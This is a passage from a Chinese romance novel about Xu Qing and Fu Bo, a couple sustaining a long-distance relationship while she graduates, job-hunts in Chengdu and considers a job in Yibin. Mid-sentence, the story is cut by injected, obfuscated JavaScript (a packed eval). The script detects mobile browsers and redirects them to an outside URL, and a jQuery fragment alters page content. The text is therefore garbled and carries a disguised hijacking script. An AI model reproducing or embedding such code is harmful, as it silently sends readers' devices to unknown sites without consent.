2023年夏天，许清毕业了。
答辩完那天，她站在学校门口，看着来来往往的人群，有点恍惚。四年了，从兴文到成都，从大一到大四。她在这里待了四年，现在要走了。
手机震了。
付博：答辩怎么样？
许清：过了。
付博：我就知道你行。
清：你呢？什么时候放假？
博：下周。但我等不及了。
许清：干嘛？
付博：去找你。
她笑了。
许清：好。我等你。
三天后，她去了资阳。
从成都东站坐高铁，二十多分钟就到资阳北。她坐在靠窗的位置，看着窗外飞速后退的风景。成都平原的夏天，稻田绿油油的，偶尔有几栋白墙青瓦的房子点缀其间。
她想起大一那年，第一次去资阳找他。那时候还没通高铁，坐大巴要两个多小时。她晕车，一路吐过去的。见到他的时候，脸都是白的。
现在方便多了。
出站的时候，他已经在等着了。穿着白色的T恤，黑色的短裤，还是那样，黑黑的，壮壮的，站在人群中像一块石头。
看见她，他跑过来。
“来了？”
“嗯。”
他接过她的行李箱。
“累不累？”
“不累。高铁很快。”
他笑了。
“那当然。我挑的路线。”
她看着他，看着他笑的样子。
黑了，瘦了，但眼睛还是那么亮。
“走吧，”他拎起箱子，“带你去吃好吃的。”
资阳的夏天，傍晚时分最舒服。太阳落下去，热气散了一些，街上的人多起来。他带她去了一家开在巷子里的烧烤店，说是他同学推荐的，特别好吃。
店不大，几张桌子摆在门口，炭火烤架在一边滋滋响。老板是个五十多岁的男人，光着膀子，一手扇子一手刷子，忙得满头大汗。
他们找了个靠边的桌子坐下。他点了一堆，牛肉、羊肉、鸡翅、土豆、藕片、韭菜。她看着那满满一桌，有点担心。
“点这么多，吃得完吗？”
“吃不完我吃。”
她笑了。
烧烤上来了，热气腾腾的，撒满了辣椒和孜然。她拿起一串牛肉，咬了一口，烫得直哈气。
“慢点吃。”他递过来一瓶水。
她接过来，喝了一口。
“好吃吗？”他问。
“嗯。好吃。”
他也拿起一串，大口吃着。
晚风从巷子口吹过来，裹着花椒的香味，穿过他们握着的手机。
她看着他，看着他大口吃肉的样子，想起很多年前。
高中的时候，他们也是这样。放学后，偶尔去学校门口的烧烤摊，他点一堆，她吃几串，剩下的他全包了。那时候他总是说：“你吃这么少，怎么长胖？”她说：“我不想长胖。”他说：“胖点好。胖点好看。”她打他一下，他就笑。
现在，他又说了一样的话。
“你吃这么少，怎么长胖？”
她看着他。
“你还记得？”
“记得什么？”
“高中时候，你也说过一样的话。”
他愣了一下，然后笑了。
“记得。你那时候还打我。”
“打你活该。”
他笑了。
“许清。”
“嗯？”
“好像又回到了高中。”
她点点头。
“是啊。”
他握住她的手。
“那我们要一直这样走下去。”
她看着他，看着他亮亮的眼睛。
“好。”
那天晚上，他们走了很久。
从烧烤摊走到江边，从江边走到广场，从广场走到他学校门口。
沱江的夜晚很安静，江水在路灯下泛着粼粼的光。对岸有高楼，灯火通明，倒映在水里，像另一个城市。
他们走在江边的步道上，风从江面上吹过来，凉凉的。
“资阳的江边，还挺好看的。”她说。
“嗯。我有时候训练完，会来这儿走走。”
“一个人？”
“嗯。想事情。”
她看着他。
“想什么？”
他想了想。
“想你。想以后。”
她心里一暖。
“以后什么？”
“以后我们住一起，每天都能这样散步。”
她笑了。
“那你得快点毕业。”
“快了。明年就毕业。”
“然后呢？”
“然后去找你。你在哪，我去哪。”
她看着他，看着他那张认真的脸。
“付博。”
“嗯？”
“你知道吗，我有时候觉得，我等了你很久。”
他点点头。
“我知道。”
“但我愿意等。”
他握住她的手。
“我知道。”
那天晚上，他们说了很多话。
说大学的事，说部队的事，说以后的事。
说他想开个店，卖烧烤。
她笑了。
“你卖烧烤？你会吗？”
“学啊。你以前不是说想吃我做的饭吗？”
她愣了一下。
“我说过吗？”
“说过。高中的时候。”
她想了想，好像真的说过。那时候她开玩笑说：“你以后要是开个饭店，我就天天去吃。”他说：“那我开。你天天来，不收钱。”
没想到他还记得。
“那你现在想开了？”她问。
他点点头。
“嗯。退伍费加上这两年攒的钱，够开个小店了。”
她看着他。
“你想好了？”
“想好了。就卖烧烤，乐山烧麦那种。”
她笑了。
“那我去给你打工。”
他看着她。
“你来当老板娘。”
她脸红了。
“谁要当你老板娘？”
他笑了。
“你啊。”
那天晚上，她躺在床上，想着他说的话。
开个店，卖烧烤，让她当老板娘。
她笑了。
笑着笑着，就睡着了。
那几天，她在资阳待了三天。
他带她逛了学校，吃了学校门口的店，走了资阳的大街小巷。
第三天，她要走了。
他送她去车站。
“许清。”他说。
“嗯？”
“等我毕业。毕业了我就去找你。”
她看着他。
“好。我等你。”
“然后我们一起开店。”
她笑了。
“好。”
火车开了。
她坐在靠窗的位置，看着窗外。
他在站台上，一直站着。
直到看不见了，她才收回目光。
手机震了。
付博：到了跟我说。
许清：好。
付博：许清。
许清：嗯？
付博：我会努力的。
她看着这行字，笑了。
许清：我知道。
2023年下半年，许清开始找工作。
她在成都租了个小单间，在老小区里，一个月八百块。房间不大，一张床一张桌子一个衣柜，转个身都费劲。但胜在便宜，离地铁近，去面试方便。
每天的生活就是投简历、等通知、去面试、被拒绝。
循环往复。
她学的是法律，想进律所，但律所不好进。投了无数简历，面试了无数家，不是嫌没经验，就是工资太低。
有一次，她去一家律所面试，聊了半个小时，对方说：“你条件挺好的，但我们想要有经验的。”她问：“应届生哪来的经验？”对方笑了笑，没说话。
还有一次，她去一家公司面试法务，工资三千五，不交社保。她犹豫了一下，对方说：“你不干有的是人干。”
她咬着牙，说：“我再考虑考虑。”
回来的路上，天下了雨。她没带伞，躲在公交站台下面，看着雨哗哗地下，衣服湿了一半，头发滴着水。
手机震了。
付博：今天面试怎么样？
她看着这行字，眼眶有点酸。
许清：没成。
付博：没事。慢慢来。
许清：嗯。
付博：别着急。肯定能找到合适的。
她没回。
因为她不知道该说什么。
说她想放弃了？
说她觉得自己没用？
说她一个人在这座城市，好累？
她说不出口。
他知道她累，但能怎么办？
他在资阳，还在上学，来不了。
她只能自己扛。
十一月的成都，天气开始冷了。
她穿着那件旧羽绒服，挤早高峰的地铁，去各种地方面试。有时候一天跑三个地方，从城南到城北，从东边到西边。
地铁上人挤人，她被挤在角落里，看着窗外黑漆漆的隧道，一站一站过去。
有时候会想，这条路，还要走多久？
但每次这么想的时候，手机就会震。
付博：今天累不累？
付博：面试怎么样？
博：记得吃饭。
想你了。
她看着这些消息，又觉得还能再撑一撑。
十二月，她终于找到了一份工作。
一家小公司，做法律咨询。工资不高，四千五，但够活了。
入职那天，她给付博打电话。
“我找到工作了。”
“真的？太好了！”
“嗯。下周一入职。”
“在哪儿？”
“高新区。离住的地方有点远，但地铁能到。”
“工资多少？”
“四千五。”
他沉默了一下。
“是不是有点低？”
“还好吧。先干着，以后再找。”
他嗯了一声。
“那你好好干。别太累。”
她笑了。
“知道。”
入职之后，日子开始规律起来。
每天早上七点起床，洗漱，挤地铁，九点到公司。处理合同，回答咨询，帮老板处理杂事。晚上六点下班，再挤地铁回家，到住的地方已经七点多。随便吃点东西，洗个澡，就快九点了。
累。
但能接受。
只是慢慢的，她发现自己开始胖了。
压力大，天天吃外卖，不胖才怪。
半年下来，胖了快二十斤。
镜子里的自己，她都快不认识了。
有一次，她跟付博视频，他看着屏幕，愣了一下。
“你……胖了？”
她点点头。
“嗯。”
“胖了多少？”
“快二十斤。”
他沉默了一下。
然后笑了。
“没事。胖点好看。”
她瞪他。
“你瞎说。”
“真的。我喜欢你胖点。”
她不信。
但他的话，还是让她心里暖了一点。
“工作怎么样？”他问。
“还行吧。就是累。”
“累就别干了。换一个。”
她叹了口气。
“换一个也得找到才行啊。”
“慢慢找。别急。”
她看着他，看着他屏幕上的脸。
“付博。”
“嗯？”
“你什么时候毕业？”
“明年六月。”
“还有半年。”
“嗯。半年后我就去找你。”
她笑了。
“好。我等你。”
2024年春节，她回家了。
从成都坐高铁到兴文，两个多小时。出站的时候，天已经黑了，站前广场上灯火通明，到处都是接人的人。
她一眼就看见他了。
站在出口的地方，穿着一件黑色的棉袄，戴着一顶毛线帽，手揣在口袋里。
看见她，他跑过来。
“许清！”
她看着他，看着他跑过来的样子。
还是那样，像一块移动的石头。
他跑到她面前，站住。
“你回来了。”
“嗯。”
他看着她，看了很久。
“胖了。”
她低下头。
“嗯。”
他走过来，抱住她。
“胖了好。抱起来舒服。”
她愣住了。
然后笑了。
笑着笑着，眼泪就下来了。
春节那几天，他们天天在一起。
走那条坡道，走了很多遍。
那条坡道还是跟以前一样，两边种着梧桐树，路灯昏黄昏黄的，把影子拉得很长。
“这条路，我们走了多少遍了？”她问。
他想了想。
“几千遍吧。”
“以后还要走几千遍。”
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347256|199532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑了。
“好。”
他们走到坡道尽头，又走回来。
走了很多遍。
走到天黑。
走到路灯亮起来。
走到星星出来。
有一天晚上，他们坐在坡道边的长椅上。
她靠在他肩膀上，看着天上的星星。
“付博。”她说。
“嗯？”
“你说，我们以后会什么样？”
他想了想。
“以后啊。我毕业了，去找你。我们一起租个房子。我找工作，你继续上班。周末出去玩。攒够了钱，就开店。”
她听着，心里暖暖的。
“就这些？”
“嗯。就这些。”
“听起来挺好的。”
“那当然。我想了好久。”
她笑了。
“付博。”
“嗯？”
“谢谢你。”
他愣了一下。
“谢什么？”
“谢谢你等我。”
他握住她的手。
“我也谢谢你等我。”
那天晚上，风很轻。
月亮很亮。
他们坐了很久。
春节后，她又回成都了。
继续上班，继续加班，继续胖。
他继续上学，继续训练，继续每天给她发消息。
日子就这么过着。
2024年3月，公司出了点事。
老板接了一个大项目，人手不够，天天加班。她每天早出晚归，累得像条狗。有时候回到家，连洗澡的力气都没有，直接瘫在床上。
付博打电话来，她接起来，声音都是哑的。
“你声音怎么了？”他问。
“没事。就是累。”
“又加班？”
“嗯。”
“别太拼了。身体要紧。”
“没办法。项目紧。”
他沉默了一下。
“许清，要不你辞职吧。”
她愣了一下。
“辞了干嘛？”
“来资阳。我养你。”
她笑了。
“你还在上学，怎么养我？”
“我可以打工。烧烤摊也行。”
她听着他的话，心里酸酸的。
“不用。我再撑撑。项目完了就好了。”
他嗯了一声。
“那你照顾好自己。”
“知道。”
挂了电话，她躺在床上，看着天花板。
天花板上有道裂缝，从墙角延伸到灯座。她盯着那条裂缝，想起小时候家里的天花板，也有这么一条。
那时候奶奶说，房子老了，都这样。
现在她想，人也老了，也会裂吧。
四月的成都，天气开始热了。
公司项目终于告一段落，她请了两天假，去资阳看他。
从成都东坐高铁，二十多分钟就到了。出站的时候，他在等着。
看见她，他愣了一下。
“你瘦了？”
她点点头。
“瘦了好。之前胖了，现在瘦回去。”
他走过来，抱住她。
“瘦了不好。抱起来硌手。”
她笑了。
“你事真多。”
那天，他们又去吃了那家烧烤。
还是那条巷子，还是那个老板，还是那个味道。
她吃着串，突然想起一件事。
“付博，你还记得吗？你刚入伍的时候，给我写信，信里掉出一颗奶糖。”
他点点头。
“记得。那颗糖我藏了好久，一直没舍得吃，给你寄过去了。”
“我吃了。很甜。”
他笑了。
“甜就好。”
她看着他。
“那时候你说，等你回来，给我一个未来。”
他点点头。
“嗯。我说过。”
“现在呢？”
他看着她的眼睛。
“现在也一样。”
她笑了。
那天晚上，他们又在江边走了很久。
沱江的夜，还是那么安静。对岸的灯火，还是那么亮。
她靠在他肩膀上，慢慢走。
“付博。”
“嗯？”
“你毕业以后，真的来找我吗？”
“真的。”
“不管我去哪？”
“不管你去哪。”
她笑了。
“那我去宜宾呢？”
他愣了一下。
“宜宾？”
“嗯。我最近看了一个招聘，宜宾那边的。公司在招法务。”
他想了想。
“宜宾也挺好。有江，有山，离成都也不远。”
她看着他。
“你愿意去？”
“你去哪我就去哪。”
她心里一暖。
“好。那我投简历试试。”
2024年5月，她投了宜宾那家公司的简历。
面试的时候，她坐高铁去的宜宾。
从成都东到宜宾西，一个多小时。她坐在靠窗的位置，看着窗外飞速后退的风景。过了眉山，过了乐山，进了山，过了隧道，眼前豁然开朗——金沙江到了。
江水宽宽的，黄黄的，在阳光下泛着光。两岸是山，山上长满了竹子，绿油油的。
她看着那条江，心里突然有点激动。
这是金沙江。
长江的上游。
面试很顺利。
公司不大，但氛围挺好。老板是个四十多岁的女人，说话很温和。问了她一些专业问题，聊了聊薪资待遇，最后说：“我觉得你挺合适的。什么时候能入职？”
她愣了一下。
“我……我回去考虑一下。”
老板笑了。
“好。考虑好了给我打电话。”
走出公司，她站在门口，看着对面的江。
金沙江在太阳下闪着光，有船开过，呜呜地鸣笛。
她掏出手机，给付博打电话。
“面试怎么样？”
“过了。”
“真的？太好了！”
“但我还没答应。”
“为什么？”
她想了想。
“我想等你毕业。”
电话那头沉默了一下。
“许清，你先去。我毕业了就过来。”
“你确定？”
“确定。”
她笑了。
“好。那我答应了。”
2024年6月，她辞职了。
从成都那家公司